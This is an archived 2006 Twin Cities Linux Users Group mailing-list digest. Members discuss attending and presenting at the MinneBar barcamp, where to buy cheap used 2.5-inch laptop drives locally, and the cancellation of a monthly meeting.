http://barcamp.org/MinneBar Has anyone ever attended one of these? It sounds interesting. -Eric From j at packetgod.com Fri Mar 31 10:20:04 2006 From: j at packetgod.com (J Cruit) Date: Fri, 31 Mar 2006 10:20:04 -0600 Subject: [tclug-list] {Spam?} Re: Minnebar barcamp? In-Reply-To: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> References: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> Message-ID: <442D56B4.8040102@packetgod.com> Sounds like fun! I think I'll sign up and present some fun stuff like an Asterisk build out demo and a discussion of practical security. --j Eric Peterson wrote: > I found this on the nagios website: > > http://barcamp.org/MinneBar > > Has anyone ever attended one of these? > > It sounds interesting. > > -Eric > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From tclug at steamedpenguin.com Fri Mar 31 10:36:06 2006 From: tclug at steamedpenguin.com (Samir M. Nassar) Date: Fri, 31 Mar 2006 10:36:06 -0600 Subject: [tclug-list] Minnebar barcamp? In-Reply-To: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> References: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> Message-ID: <200603311036.06179.tclug@steamedpenguin.com> On Friday 31 March 2006 09:25, Eric Peterson wrote: > I found this on the nagios website: > > http://barcamp.org/MinneBar > > Has anyone ever attended one of these? > > It sounds interesting. I'll be there. Maybe we can have a LUG sub-group. Samir From srcfoo at gmail.com Fri Mar 31 11:16:54 2006 From: srcfoo at gmail.com (Eric Peterson) Date: Fri, 31 Mar 2006 11:16:54 -0600 Subject: [tclug-list] Minnebar barcamp? In-Reply-To: <442D5ACB.2090305@cruiskeen.com> References: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> <442D5ACB.2090305@cruiskeen.com> Message-ID: <579c6fd30603310916u483cec10v3764e662bfde5afc@mail.gmail.com> I hope to give a brief demo of the Xen virtual server technology. I'm not quite sure how I'm going to do that if my demo is chosen, but I'm sure I'll figure something out. Anyway, it looks like a good time. From cschumann at twp-llc.com Fri Mar 31 12:51:24 2006 From: cschumann at twp-llc.com (Chris Schumann) Date: Fri, 31 Mar 2006 12:51:24 -0600 (CST) Subject: [tclug-list] cheapest place in town for 2.5" drive > 20gb In-Reply-To: References: Message-ID: <3103.192.28.2.52.1143831084.squirrel@alpha.twp-llc.com> > Date: Thu, 30 Mar 2006 22:19:29 -0600 > From: nick thompson > Anyway, any used > shop tips or even if you have one to get rid of... I like Que Computers at 26th and 26th and quecomputers.com From clay at fandre.com Fri Mar 31 14:05:21 2006 From: clay at fandre.com (Clayton Fandre) Date: Fri, 31 Mar 2006 14:05:21 -0600 Subject: [tclug-list] No TCLUG monthly meeting this Saturday Message-ID: <442D8B81.1090704@fandre.com> There will be no TCLUG meeting this Saturday. I could not get a speaker lined up in time. I'm still unsure if there will be one next Saturday as I will be out of town. As always I am looking for topics and speakers for upcoming meetings. Please let me know if you would like to speak at a meeting or know of a potential speaker. Thanks. -- Clay From SDALAN04 at smumn.edu Fri Mar 31 17:27:56 2006 From: SDALAN04 at smumn.edu (Dave Alanis) Date: Fri, 31 Mar 2006 17:27:56 -0600 Subject: [tclug-list] {Spam?} Re: Minnebar barcamp? Message-ID: <2006033123275644ded1c644@mail.smumn.edu> On Friday, March 31, 2006 10:20 AM, J Cruit wrote: > >Date: Fri, 31 Mar 2006 10:20:04 -0600 >From: J Cruit >To: TCLUG Mailing List >Subject: [tclug-list] {Spam?} Re: Minnebar barcamp? > >Sounds like fun! I think I'll sign up and present some fun stuff like >an Asterisk build out demo and a discussion of practical security. > >--j > >Eric Peterson wrote: >> I found this on the nagios website: >> >> http://barcamp.org/MinneBar >> >> Has anyone ever attended one of these? >> >> It sounds interesting. >> >> -Eric >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> tclug-list at mn-linux.org >> http://mailman.mn-linux.org/mailman/listinfo/tclug-list >> > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list Is there a possibility some one can take me under their wing. I would like to learn and participate. I am interested in learning security. I can be reached at canito at dalan dot us Thank you, David Alanis "Great Spirits Have Always Encountered Violent Opposition From Mediocre Minds" - Einstein "Cuanta estupidez en tan poco cerebro!" From nicholas.thompson1 at mchsi.com Fri Mar 31 17:43:32 2006 From: nicholas.thompson1 at mchsi.com (nick thompson) Date: Fri, 31 Mar 2006 17:43:32 -0600 Subject: [tclug-list] cheapest place in town for 2.5" drive > 20gb In-Reply-To: <3103.192.28.2.52.1143831084.squirrel@alpha.twp-llc.com> References: <3103.192.28.2.52.1143831084.squirrel@alpha.twp-llc.com> Message-ID: <442DBEA4.1040707@mchsi.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Chris Schumann wrote: >>Date: Thu, 30 Mar 2006 22:19:29 -0600 >>From: nick thompson > > >>Anyway, any used >>shop tips or even if you have one to get rid of... > > > I like Que Computers at 26th and 26th and quecomputers.com > Wow! Thanks for that tip I'd never been there. Cool place. Has anyone ever been to a place called "The Box Shop" ? I heard about it from a friend but have never been there. Nick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFELb6kybtJ236hNocRAuCyAKC8dgVfRqu9ZEqDCuZMjcPusIY0rgCgmWLj ycGa3GY+iZERy5NskQAlOtA= =TOqV -----END PGP SIGNATURE----- From nicholas.thompson1 at mchsi.com Fri Mar 31 17:46:47 2006 From: nicholas.thompson1 at mchsi.com (nick thompson) Date: Fri, 31 Mar 2006 17:46:47 -0600 Subject: [tclug-list] Minnebar barcamp? In-Reply-To: <200603311036.06179.tclug@steamedpenguin.com> References: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> <200603311036.06179.tclug@steamedpenguin.com> Message-ID: <442DBF67.6030905@mchsi.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Samir M. Nassar wrote: > On Friday 31 March 2006 09:25, Eric Peterson wrote: > >>I found this on the nagios website: >> >>http://barcamp.org/MinneBar >> >>Has anyone ever attended one of these? >> >>It sounds interesting. > > > I'll be there. Maybe we can have a LUG sub-group. > > Samir > I'll be there as well, how many LUG members are going to be there? Nick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFELb9nybtJ236hNocRAq3MAJ0SI/aHdmX5PndpA5xe9mbXorGquACfR9Jy di5Sh037jlltQqF9u7ugdPc= =mHHz -----END PGP SIGNATURE----- From jkjones at tcq.net Fri Mar 31 17:52:47 2006 From: jkjones at tcq.net (Kraig Jones) Date: Fri, 31 Mar 2006 17:52:47 -0600 Subject: [tclug-list] cheapest place in town for 2.5" drive > 20gb In-Reply-To: <442DBEA4.1040707@mchsi.com> References: <3103.192.28.2.52.1143831084.squirrel@alpha.twp-llc.com> <442DBEA4.1040707@mchsi.com> Message-ID: <442DC0CF.3070503@tcq.net> nick thompson wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Chris Schumann wrote: > > >>>Date: Thu, 30 Mar 2006 22:19:29 -0600 >>>From: nick thompson >>> >>> >> >> >>>Anyway, any used >>>shop tips or even if you have one to get rid of... >>> >>> >>I like Que Computers at 26th and 26th and quecomputers.com >> >> >> >Wow! Thanks for that tip I'd never been there. Cool place. Has anyone >ever been to a place called "The Box Shop" ? I heard about it from a >friend but have never been there. > > There's a Box Shop here in Bloomington; also one in St. Paul. They sometimes have used drives, but it seems they want nearly as much for a used one as new. Micro Center has advertised some 40GB drives for $79.99, but I don't know if that price is still in effect. I tried to reply to this last night. Seems it didn't get through... Kraig From kraigjones at aim.com Thu Mar 30 23:00:10 2006 From: kraigjones at aim.com (Kraig) Date: Thu, 30 Mar 2006 23:00:10 -0600 Subject: [tclug-list] cheapest place in town for 2.5" drive > 20gb In-Reply-To: <442CADD1.20300@mchsi.com> References: <442CADD1.20300@mchsi.com> Message-ID: <442CB75A.3050904@aim.com> nick thompson wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Hi guys, > I was wondering if anybody had any tips on somewhere in town to get a >cheap 2.5" drive larger than 20 gigs? > Micro Center was advertising a 40GB for 79.99, but that's in an old sale flyer. I don't know if that price is still good. The Box Shop "Dirt Cheap Computers" (there's one in Bloomington) sometimes has used drives -- but they're usually asking about as much as a new drive, and used=??? Kraig From lmcnown at cruiskeen.com Fri Mar 31 10:37:31 2006 From: lmcnown at cruiskeen.com (Lori Mcnown) Date: Fri, 31 Mar 2006 10:37:31 -0600 Subject: [tclug-list] Minnebar barcamp? In-Reply-To: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> References: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> Message-ID: <442D5ACB.2090305@cruiskeen.com> Eric Peterson wrote: > I found this on the nagios website: > > http://barcamp.org/MinneBar > > Has anyone ever attended one of these? > > It sounds interesting. > > -Eric > > Yeah, this should be fun. I'm going to be speaking about web tools for nonprofit groups. Ethan Galsted will talk about Nagios - should be lots of interesting stuff. > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list >